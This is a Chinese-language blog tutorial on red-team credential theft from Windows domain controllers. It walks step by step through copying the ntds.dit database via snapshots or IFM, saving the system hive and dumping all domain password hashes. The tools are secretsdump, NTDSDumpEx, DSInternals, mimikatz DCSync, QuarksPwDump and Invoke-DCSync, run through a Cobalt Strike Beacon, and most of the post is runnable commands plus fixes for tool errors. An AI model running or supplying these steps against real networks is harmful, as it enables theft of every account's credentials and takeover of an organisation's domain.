欢迎光临
我们一直在努力

内网渗透-域控安全和跨域攻击-ntds.dit文件的提取和读取

Ntds.dit介绍

ntds.dit为ad的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问。ntds.dit包括三个主要表:数据表、链接表、sd表。所以只要在域渗透中能够获取到ntds.dit就可以获取到所有域用户的用户名和对应的hash,它和SAM文件一样,被windows系统锁死

Ntds.dit位置

在域控的:C:\\Windows\\NTDS

在线方式提取和移动ntds.dit文件

ntdsutils.exe提取ntds.dit

ntdsutils.exe 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutils.exe 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区等,该工具默认安装在域控服务器上,可以在域控制器上直接操作,支持windows server 2003、2008、2012。提取过程分为3步:

第一步:创建快照

ntdsutil.exe snapshot "activate instance ntds" create q q

直接在CS里面用使用会报错:

使用 Beacon execute-assembly / powershell 绕开低权限 shell

PowerShell 默认会继承管理员令牌

powershell ntdsutil.exe snapshot "activate instance ntds" create q q

可以看到快照的uid是 a3afcbbe-37c6-4437-beaf-aa8d70440d85,位置在:

第二步:加载快照

powershell  ntdsutil.exe snapshot "mount {a3afcbbe-37c6-4437-beaf-aa8d70440d85}" q q

可以看到快照的地址为C:\\$SNAP_202606161607_VOLUMEC$\\

第三步:复制快照中的ntds.dit文件

copy '快照地址\\Windows\\NTDS\\ntds.dit' 目标地址

copy C:\\$SNAP_202606161607_VOLUMEC$\\Windows\\NTDS\\ntds.dit C:\\Users\\administrator\\Desktop\\ntds\\ntds.dit

第四部:删除快照

powershell ntdsutil.exe snapshot "umount {a3afcbbe-37c6-4437-beaf-aa8d70440d85}" "delete {a3afcbbe-37c6-4437-beaf-aa8d70440d85}" q q

vssadmin提取ntds.dit

vssadmin1是Windows Server 2008及Windows 7系统提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统Provider创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的“diff空间”)的大小等。支持的操作系统:Server 2008、Server 2012

第一步:创建快照

powershell vssadmin create shadow /for=c:

卷影副本 ID: {f8b8cc71-49e6-4e51-b334-942ac13ca932}

卷影副本卷名: \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy3

第二步:复制文件

shell copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy3\\windows\\NTDS\\ntds.dit C:\\Users\\administrator\\Desktop\\ntds\\ntds.dit

第三步:删除快照

powershell vssadmin delete shadows /for=c: /quiet

vssown提取ntds.dit

vssown.vbs和vssadmin类似,它是由Tim Tomes开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务

先上传:

第一步:启动卷影复制服务

powershell cscript vssown.vbs /start

第二步:创建一个C盘的卷影副本

powershell cscript vssown.vbs /create c

第三步:列出当前卷影副本

powershell script vssown.vbs /list

第四步:复制文件:

copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy3\\windows\\NTDS\\ntds.dit C:\\Users\\Administrator\\Desktop\\ntds\\ntds.dit

第五步:删除卷影副本

cscript vssown.vbs /delete {B267559B-57D8-4D59-B77F-890CF57BA448}

IFM

可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过PowerShell 或 VMI 远程执行。

第一步:

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

此时 ntds.dit 将被保存在 C:\\test\\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在C:\\test\\registry 文件夹下

第二步:删除

rmdir /s/q C:\\test

impacket

通过 impacket 里的 secretsdump.py 脚本可以直接远程读取 ntds.dit 并导出哈希值

secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds

离线方式读取ntds.dit文件

离线一般需要两步:

1、将远端域控的ntds.dit下载到本地,

2、然后利用再在本地进行。

注意:因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看

ntds.dit 里内容

命令如下:

reg save hklm\\system c:\\windows\\temp\\system.hive

下面介绍几种方式离线读取ntds.dit文件

esedbexport(较麻烦,了解就行)

1、我么以kali为例子,安装esedbexport

apt-get install autoconf automake autopoint libtool pkg-config

wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz

tar zxvf libesedb-experimental-20210424.tar.gz

cd libesedb-20210424

./configure

make

make install

ldconfig

2、导出 ntds.dit,两个重要的表为:datatable以及link_table,他们都会被存放在./ntds.dit.export/文

件夹中

esedbexport -m tables ntds.dit

3、安装 ntdsxtract

git clone https://github.com/csababarta/ntdsxtract.git

cd ntdsxtract

python2 setup.py build

python2 setup.py install

如果提示 ImportError: No module named Crypto.Hash,请执行 pip install pycryptodome

4、将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的

结果将保存在 1.txt 里

python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7output –syshive SYSTEM –passwordhasher –pwdformat ocl –ntoufile atout –lmoufile lmout | tee 1.txt

impacket-secretsdump.exe(重点)

将 ntds.dit.export 和 SYSTEM 文件放入到 和secretsdump.exe 同级目录下

secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

位置在:"C:\\Users\\31979\\Desktop\\工具\\内网\\第四章-横向移动工具\\工具\\impacket\\impacket\\secretsdump.exe"

下载到本地

一开始文件大小不对,是因为他正在读文件,等他和cs里面的大小一致时,就移动到本机

将 ntds.dit.export 和 SYSTEM 文件放入到 和secretsdump.exe 同级目录下

secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

成功

NTDSDump.exe

NTDSDumpEx.exe 可以进行导出哈希值的操作

文件在:"C:\\Users\\31979\\Desktop\\工具\\内网\\第五章-域控安全和跨域攻击\\工具\\NTDSDumpEx\\NTDSDumpEx.exe"

.\\NTDSDumpEx.exe -d ntds.dit -s system.hive -o 1.txt

如果出现:

报错 JET_errDatabaseDirtyShutdown 翻译:数据库未正常干净关闭(脏关机)

ntds.dit 是 Jet 数据库,AD 正常关机时会把内存事务刷入日志并标记干净状态;你是通过 VSS 快照 / 直接复制文件,数据库事务日志未完成收尾,工具无法直接加载 dit。

方案 1:用 ntdsutil 修复脏关机(域控本地执行,推荐)

  • 管理员 CMD/PowerShell 进入 dit 所在目录,执行修复:
  • ntdsutil

    activate instance ntds

    files

    recover

    DSInternals

    DSInternals是powershell脚本,可以离线读取ntds文件

    安装DSInternals

    导出 hash,并保存在 txt 文件里

    Install-Module DSInternals -Force

    导出 hash,并保存在 txt 文件里

    $key = Get-Bootkey -SystemHivePath 'system路径' Get-ADDBAccount -All -DBPath 'ntds路径' -Bootkey $key | Out-File output_hash.txt

    在线方式读取ntds.dit文件

    在线的方式就是直接读取不需要在导出ntds文件,在域环境中,不要直接在线获取hash,特别是域环境

    比较大的时候,在线获取hash等待时时间较长,工具占用资源太多,容易造成域控服务器崩溃

    mimikatz(重点)

    1、可以读取所有用户的hash

    lsadump::dcsync /domain:test.com /all /csv

    注意:这个命令比较危险,可能使得机器卡死,从而影响其正常业务

    在红队环境中最好还是单个读取

    2、也可以读取单个用户的hash

    mimikatz lsadump::dcsync /domain:test.com /user:administrator

    Quarks PwDump

    1、上传工具到目标机器,使用命令先导出ntds文件,然后直接读取

    工具位置:"C:\\Users\\31979\\Desktop\\工具\\内网\\第五章-域控安全和跨域攻击\\工具\\QuarksPwDump\\QuarksPwDump.exe"

    上传到对方机器

    shell QuarksPwDump.exe –dump-hash-domain –ntds-file ntds.dit

    运行后发现这样:

    JET_errDatabaseDirtyShutdown = ntds.dit 数据库脏关机

    QuarksPwDump 没有内置 Jet 数据库自动修复逻辑,直接读取未完成事务的 dit 文件就会失败;而你之前本地 Windows 运行的 Impacket secretsdump.exe 自带修复流程,所以能正常导出哈希。

    1. 用 esentutl 软修复(优先,无损)

    shell esentutl /r edb /d C:\\Users\\administrator\\Desktop

    2. 软修复失败则硬修复(会丢失未提交事务,应急用)

    shell esentutl /p C:\\Users\\administrator\\Desktop\\ntds.dit

    修复完成后再执行 QuarksPwDump:

    shell QuarksPwDump.exe –dump-hash-domain –ntds-file ntds.dit

    impacket-secretsdump.exe(重点)

    使用secretsdump直接读取

    secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds

    例如:secretsdump.exe test/krbuser:qax!123@192.168.113.152 -outputfile 1.txt

    密码里面如果出现了@,可能会和后面的@冲突,所以我刚刚临时修改了krbuser用户的密码,用于测试,最后的结果显然成功了

    Invoke-DCSync(重点)

    Invoke-DCSyncs是powershell脚本可以在线读取内存中的用户hash

    位置:"C:\\Users\\31979\\Desktop\\工具\\内网\\第五章-域控安全和跨域攻击\\工具\\Invoke-DCSync-master\\Invoke-DCSync-master\\Invoke-DCSync.ps1"

    依旧是先上传:

    powershell Import-Module .\\Invoke-DCSync.ps1;Invoke-DCSync -PWDumpFormat

    赞(0)
    未经允许不得转载:171主机测评 » 内网渗透-域控安全和跨域攻击-ntds.dit文件的提取和读取
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址